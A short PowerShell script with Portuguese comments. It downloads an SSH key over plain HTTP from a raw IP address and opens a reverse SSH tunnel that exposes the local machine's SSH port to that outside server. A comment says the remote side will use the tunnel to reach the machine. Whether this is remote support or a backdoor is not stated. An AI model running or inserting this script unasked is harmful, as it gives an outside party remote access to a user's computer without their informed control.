$ErrorActionPreference = 'Stop' $dir = "$env:TEMP\conex-tunel" New-Item -ItemType Directory -Force -Path $dir | Out-Null $key = Join-Path $dir 'tunel.key' Invoke-WebRequest -Uri 'http://205.209.118.34/iso/tunel.key' -OutFile $key -UseBasicParsing # OpenSSH no Windows exige ACL restrita na chave icacls $key /inheritance:r | Out-Null icacls $key /grant:r "$env:USERNAME:(R)" | Out-Null Write-Host 'Subindo tunel... deixe esta janela ABERTA.' # bind so em localhost no VPS; daqui a gente acessa via VPS local ssh -N -i $key -o IdentitiesOnly=yes -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=20 -o ServerAliveCountMax=6 -R 2222:127.0.0.1:22 tunel@205.209.118.34